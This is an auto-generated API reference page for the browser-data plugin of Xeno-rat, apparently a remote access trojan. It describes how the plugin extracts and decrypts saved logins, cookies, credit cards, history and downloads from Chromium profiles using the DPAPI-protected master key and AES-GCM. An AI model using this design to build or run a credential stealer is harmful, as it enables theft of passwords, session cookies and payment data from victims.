Xeno-rat
Loading...
Searching...
No Matches
Plugin.Chromium Class Reference
Collaboration diagram for Plugin.Chromium:

Classes

class  Cookie
 
class  CreditCard
 
class  Download
 
class  Login
 
class  WebHistory
 

Public Member Functions

async Task< List< Login > > GetLoginData ()
 Retrieves login data from the specified path using the provided master key for decryption.
 
async Task< List< Cookie > > GetCookies ()
 Retrieves cookies from the specified path using the provided master key and returns a list of cookies.
 
async Task< List< WebHistory > > GetWebHistory ()
 Retrieves web history from the specified path and returns a list of WebHistory objects.
 
async Task< List< Download > > GetDownloads ()
 Retrieves the list of downloads from the specified path.
 
async Task< List< CreditCard > > GetCreditCards ()
 Retrieves credit card information from the specified path using the provided master key for decryption.
 

Static Public Attributes

static Dictionary< string, string > browsers
 

Private Member Functions

string DecryptPassword (byte[] buffer, byte[] masterKey)
 Decrypts the password using the provided buffer and master key.
 
async Task< List< Login > > GetLoginData (string path, byte[] masterKey)
 
async Task< List< Cookie > > GetCookies (string path, byte[] masterKey)
 
async Task< List< WebHistory > > GetWebHistory (string path)
 
async Task< List< Download > > GetDownloads (string path)
 
async Task< List< CreditCard > > GetCreditCards (string path, byte[] masterKey)
 

Static Private Member Functions

static byte[] GetMasterKey (string path)
 Retrieves the master key from the specified file path and returns it after decryption.
 

Private Attributes

string[] profiles
 

Static Private Attributes

static string local_appdata = Environment.GetEnvironmentVariable("LOCALAPPDATA")
 
static string roaming_appdata = Environment.GetEnvironmentVariable("APPDATA")
 

Member Function Documentation

◆ DecryptPassword()

string Plugin.Chromium.DecryptPassword ( byte[] buffer,
byte[] masterKey )
inlineprivate

Decrypts the password using the provided buffer and master key.

Parameters
bufferThe buffer containing the encrypted password.
masterKeyThe master key used for decryption.
Returns
The decrypted password as a string.

This method decrypts the password using the provided buffer and master key. It initializes a GCM block cipher with an AES engine and decrypts the payload using the provided initialization vector (IV) and master key. The decrypted password is then returned as a string. If an exception occurs during the decryption process, null is returned.

Here is the caller graph for this function:

◆ GetCookies() [1/2]

async Task< List< Cookie > > Plugin.Chromium.GetCookies ( )
inline

Retrieves cookies from the specified path using the provided master key and returns a list of cookies.

Parameters
pathThe path where the cookie database is located.
masterKeyThe master key used for decrypting the cookies.
Returns
A list of cookies retrieved from the specified path using the provided masterKey .

This method asynchronously retrieves cookies from the specified path by decrypting the cookie database using the provided masterKey . It then populates a list of cookies with the retrieved data and returns the list. If the cookie database does not exist at the specified path , or if an exception occurs during the retrieval process, null is returned.

Exceptions
ExceptionThrown if an error occurs during the retrieval process.
Here is the call graph for this function:
Here is the caller graph for this function:

◆ GetCookies() [2/2]

async Task< List< Cookie > > Plugin.Chromium.GetCookies ( string path,
byte[] masterKey )
inlineprivate
Here is the call graph for this function:

◆ GetCreditCards() [1/2]

async Task< List< CreditCard > > Plugin.Chromium.GetCreditCards ( )
inline

Retrieves credit card information from the specified path using the provided master key for decryption.

Parameters
pathThe path where the credit card information is stored.
masterKeyThe master key used for decrypting the credit card information.
Returns
A list of CreditCard objects containing the retrieved credit card information.

This method retrieves credit card information from the specified path by decrypting the data using the provided master key. It first checks if the database file exists at the specified path, and if not, returns null. It then creates a temporary copy of the database file, reads the credit card information using SQLite, decrypts the card numbers using the master key, and populates a list of CreditCard objects with the retrieved information. If any exception occurs during the process, the method returns null.

Exceptions
ExceptionThrown if any error occurs during the retrieval and decryption of credit card information.
Here is the call graph for this function:
Here is the caller graph for this function:

◆ GetCreditCards() [2/2]

async Task< List< CreditCard > > Plugin.Chromium.GetCreditCards ( string path,
byte[] masterKey )
inlineprivate
Here is the call graph for this function:

◆ GetDownloads() [1/2]

async Task< List< Download > > Plugin.Chromium.GetDownloads ( )
inline

Retrieves the list of downloads from the specified path.

Parameters
pathThe path where the downloads are stored.
Returns
A list of Download objects representing the downloaded items.

This method retrieves the list of downloads from the specified path by reading the downloads database file. If the database file does not exist, the method returns null. The method then creates a temporary copy of the database file and establishes a connection to it using SQLiteHandler. It reads the "downloads" table from the database and populates the list of Download objects based on the retrieved data. If any exceptions occur during this process, the method returns null. Finally, the temporary database file is deleted before returning the list of downloads.

Exceptions
ExceptionThrown if any error occurs during the retrieval process.
Here is the call graph for this function:
Here is the caller graph for this function:

◆ GetDownloads() [2/2]

async Task< List< Download > > Plugin.Chromium.GetDownloads ( string path)
inlineprivate
Here is the call graph for this function:

◆ GetLoginData() [1/2]

async Task< List< Login > > Plugin.Chromium.GetLoginData ( )
inline

Retrieves login data from the specified path using the provided master key for decryption.

Parameters
pathThe path where the login data is stored.
masterKeyThe master key used for decryption.
Returns
A list of Login objects containing the retrieved login data.

This method asynchronously retrieves login data from the specified path using the provided master key for decryption. If the login data file does not exist at the specified path, null is returned. The method creates a temporary copy of the login data file, reads the table "logins" using SQLiteHandler, and populates the list of Login objects with the retrieved data. If an exception occurs during the retrieval process, null is returned.

Exceptions
ExceptionThrown if an error occurs during the retrieval process.
Here is the call graph for this function:
Here is the caller graph for this function:

◆ GetLoginData() [2/2]

async Task< List< Login > > Plugin.Chromium.GetLoginData ( string path,
byte[] masterKey )
inlineprivate
Here is the call graph for this function:

◆ GetMasterKey()

static byte[] Plugin.Chromium.GetMasterKey ( string path)
inlinestaticprivate

Retrieves the master key from the specified file path and returns it after decryption.

Parameters
pathThe file path from which to retrieve the master key.
Returns
The decrypted master key retrieved from the file.
Exceptions
FileNotFoundExceptionThrown when the specified file does not exist.
KeyNotFoundExceptionThrown when the 'os_crypt' key is not found in the JSON content.

This method reads the content of the file located at the specified path . It then deserializes the JSON content using a JavaScriptSerializer and retrieves the encrypted key. The encrypted key is then decrypted using ProtectedData.Unprotect method and returned as the master key.

Here is the caller graph for this function:

◆ GetWebHistory() [1/2]

async Task< List< WebHistory > > Plugin.Chromium.GetWebHistory ( )
inline

Retrieves web history from the specified path and returns a list of WebHistory objects.

Parameters
pathThe path where the web history is stored.
Returns
A list of WebHistory objects representing the web history from the specified path.

This method retrieves web history from the specified path by accessing the history database file. It creates a temporary copy of the database file, reads the "urls" table using SQLiteHandler, and populates the history list with WebHistory objects. If any required data is missing or if an exception occurs during the process, the method returns null.

Exceptions
ExceptionThrown if an error occurs during the retrieval of web history.
Here is the call graph for this function:
Here is the caller graph for this function:

◆ GetWebHistory() [2/2]

async Task< List< WebHistory > > Plugin.Chromium.GetWebHistory ( string path)
inlineprivate
Here is the call graph for this function:

Member Data Documentation

◆ browsers

Dictionary<string, string> Plugin.Chromium.browsers
static

◆ local_appdata

string Plugin.Chromium.local_appdata = Environment.GetEnvironmentVariable("LOCALAPPDATA")
staticprivate

◆ profiles

string [] Plugin.Chromium.profiles
private
Initial value:
= {
"Default",
"Profile 1",
"Profile 2",
"Profile 3",
"Profile 4",
"Profile 5"
}

◆ roaming_appdata

string Plugin.Chromium.roaming_appdata = Environment.GetEnvironmentVariable("APPDATA")
staticprivate

The documentation for this class was generated from the following file: